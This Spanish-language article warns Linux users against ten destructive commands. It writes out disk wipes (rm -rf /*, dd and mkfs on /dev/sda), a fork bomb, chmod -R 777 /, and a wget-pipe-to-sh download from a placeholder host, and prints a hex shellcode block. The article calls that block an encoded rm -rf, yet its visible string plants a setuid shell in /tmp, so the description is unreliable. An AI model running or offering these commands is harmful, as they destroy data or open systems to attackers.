Me han hecho esta pregunta en numerosas ocasiones y he evitado responderla porque no existe una lista definitiva de comandos peligrosos de Linux. Tienes las herramientas que te permiten controlar y modificar cada aspecto de tu sistema operativo. No pretendo asustarte, pero si no estás familiarizado con los comandos y las herramientas, puedes estropear tu sistema con bastante facilidad.
Imagina el escenario de un niño pequeño en una casa. Hay numerosas formas en las que la niña puede hacerse daño. Pero, ¿significa esto que no se debe permitir a la niña salir de la cuna? Eso sería perjudicial para su crecimiento.
Aquí es donde los padres establecen los límites y guían al niño. No te acerques al fuego. No metas los dedos en los enchufes. A medida que el niño crece y adquiere experiencia, puede encender la estufa, hacer fuego en la chimenea y enchufar los cables de alimentación.
Del mismo modo, si está al tanto de algunos comandos de riesgo conocidos, puede evitar caer en las trampas de los trolls que intentan engañarle para que ejecute comandos y estropee su sistema.
A medida que ganes experiencia y conozcas el significado y los usos de los comandos y herramientas, menos serán las posibilidades de destruir tu sistema con comandos tontos y engañosos.
Más noticias del tema:
- ¿Cómo usar el comando de despliegue de Linux para hacer que el texto sea más legible?
- ¿Cuál sería la funcionalidad del comando hash en Linux?
- 10 divertidos línea de comandos de Linux que deberías probar cuando estés aburrido
Tenga mucho cuidado con estos comanditos peligrosos, ahora revisemos cómo funcionan.
1. rm -rf /*
Este es probablemente el comando más infame que circula en todo tipo de medios sociales. A menudo encontrarás trolls comentando esto en varias discusiones.
El comando rm se utiliza para eliminar archivos/directorios. Las banderas -r y -f se utilizan para denotar la eliminación recursiva de todos los archivos dentro del directorio especificado. Ahora, sin el privilegio de root, este comando no hará ningún daño.
Ejecutar el comando sudo rm -rf / tampoco creará ningún problema ya que la mayoría de las distribuciones proporcionan una opción a prueba de fallos. Es necesario especificar -no-preserve-root con él para ejecutarlo realmente.
#sudo rm -rf / --no-preserve-root
Sin embargo, una versión más simple de esto podría ser:
#sudo rm -rf /*
Comenzará a borrar todos los archivos de forma recursiva en el directorio raíz, y en un momento determinado, su sistema se congela con un mensaje "Error al borrar un archivo". Una vez reiniciado, será enviado al prompt de grub-rescue.
2. Sobrescribir la partición
Si estás familiarizado con los sistemas de archivos, probablemente sepas qué es /dev/sda. Es (normalmente) la partición de su unidad de disco. El operador > se utiliza para escribir la salida de su comando precedente en la ubicación especificada proporcionada.
Una vez que ejecute cualquier comando y lo escriba en /dev/sda, digamos:
#echo "Hola Mundo Cruel" > /dev/sda
Esto reemplazará su partición que contiene todos los datos necesarios para arrancar el sistema con la cadena "Hola Mundo Cruel".
3. Mueve todo al vacío
Hay un vacío dentro de cada sistema Linux. Y ese vacío es /dev/null.
Cualquier cosa que arrojes en esta área se pierde para siempre. Además, informa del proceso de escritura como un éxito después de descartar los datos, que es la principal razón de su destructividad.
#mv /home/user/* /dev/null
El comando mv se utiliza para mover o renombrar archivos/directorios. En el comando anterior, se mueven todos los archivos dentro del directorio raíz al vacío. Aunque el sistema raíz no se destruye, todos tus datos personales se perderán.
4. Formatea tu disco duro
mkfs es una utilidad de línea de comandos, utilizada para formatear discos y particiones. Es una herramienta muy útil para crear particiones para varias instalaciones. Pero el mismo comando puede formatear tu disco también. Formatear tu disco significa borrar todos los archivos necesarios para que el sistema arranque.
#mkfs.ext3 /dev/sda
El comando hace su trabajo y terminas con un sistema desordenado más allá de la recuperación.
5. Fork bomba
Esta simpática combinación aleatoria de caracteres especiales y símbolos es lo suficientemente potente como para congelar un sistema en funcionamiento agotando los recursos del sistema.
#:(){:|:&};:
& - Operador de fondo del shell.
Informa al shell para que ponga el comando en segundo plano. Aquí, define una función llamada ':', que se llama a sí misma dos veces, una en primer plano y otra en segundo plano. Este proceso se ejecuta una y otra vez hasta que el sistema se congela.
Como su nombre indica, se bifurca a sí mismo y finalmente se convierte en una bomba en cadena y se come todos los recursos del sistema. Te verás obligado a reiniciar el sistema, lo cual no es tan malo como los otros comandos de esta lista.
6. Sobrescribir los archivos de configuración importantes
Aunque esto no es un comando en sí mismo, es más bien una cosa de precaución.
Como se mencionó anteriormente, el operador ">" se utiliza para escribir en un archivo. Simplemente descarta todo lo que ya está presente en el archivo y escribe los nuevos datos proporcionados en él.
#command > config_filename
Now, if you use some important configuration file as the place to write data, it will replace the content, leaving a broken system.
7. Reemplazar la partición con datos basura
El /dev/random es un comando en Linux que puede crear datos basura. Combínalo con el comando dd y tu partición, y tendrás un Molotov para incendiar tu partición.
#dd if=/dev/random of=/dev/sda
El comando dd se utiliza como una herramienta de copia de bajo nivel. Aquí, toma datos aleatorios de /dev/random y reemplaza la partición /dev/sda con esta basura.
Un efecto similar se obtiene con:
#cat /dev/urandom > filename
Aquí, toma datos basura de /dev/urandom y rellena un archivo. Si no se termina con Ctrl + C, el archivo puede ocupar una cantidad considerable de espacio, lo que puede ser desastroso para los sistemas de gama baja.
8. Exponga su sistema a todo el mundo
Todo es un archivo en Linux y cada archivo tiene ciertos permisos.
#chmod -R 777/
Puedes ver los permisos con ls -l. El sistema de archivos root no es accesible a otros usuarios sin privilegios. Aunque esto garantiza un sistema privado y seguro, puedes poner patas arriba este sistema con un solo comando.
9. Descargar y ejecutar contenido malicioso
¿Cómo se instala el software en Linux? Se utiliza el gestor de paquetes oficial o paquetes listos para usar como Deb/RPM, Snap. Flatpak, etc.
Sin embargo, algunos programas no están empaquetados y sus desarrolladores proporcionan scripts de shell para descargar y ejecutar. Por ejemplo, el homebrew.
Descargás un archivo shell y lo ejecutás como root para instalar un software en tu sistema.
Aunque funciona con software oficial como Homebrew, deberías comprobar dos veces el contenido del script de shell que estás descargando antes de ejecutarlo directamente de esta manera:
#wget http://malicious_source -O- | sh
Such commands will download and run malicious scripts in your system, which can undermine the security of your system.
10. Comandos disfrazados
Hay muchas maneras de ejecutar comandos en una terminal de Linux. Una de estas formas es la de los comandos codificados en hexadecimal.
#char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Aunque parece elegante, se trata de una versión codificada del comando rm -rf. Tiene el mismo efecto que ejecutar el comando anterior. Por lo tanto, al copiar y pegar tales comandos de fantasía de Internet, tenga cuidado.
Conclusiones
Hay un famoso término informático PEBKAC; "el problema existe entre el teclado y la silla".
Porque al final, es el usuario (tú) quien debe asegurarse de no destruir el sistema ejecutando a ciegas cualquier comando peligroso.
No es el trabajo de UNIX evitar que se dispare el pie. Si usted decide hacerlo, entonces es el trabajo de UNIX entregar al Sr. Bala al Sr. Pie de la manera más eficiente que conoce.
Y esa línea se aplica igualmente a Linux. Usted tiene el control total de su sistema operativo. Lo que elijas hacer con él depende totalmente de ti.
Aconsejo estas cosas para garantizar una experiencia más segura:
- Intenta entender los comandos que vas a ejecutar.
- Mantenga una copia de seguridad de la configuración de su sistema con Timeshift
- Mantén una copia de seguridad de los datos personales (directorio personal) utilizando DejaDup
Como ya he dicho, no hay una lista fija de comandos peligrosos de Linux. Se pueden añadir muchos más a esta lista y simplemente no tiene fin.
Espero que esto te dé algunas pistas sobre lo que no deberías hacer para mantenerte seguro con Linux. Hazme saber si tienes sugerencias en la sección de comentarios.
Otras noticias relacionadas al tema: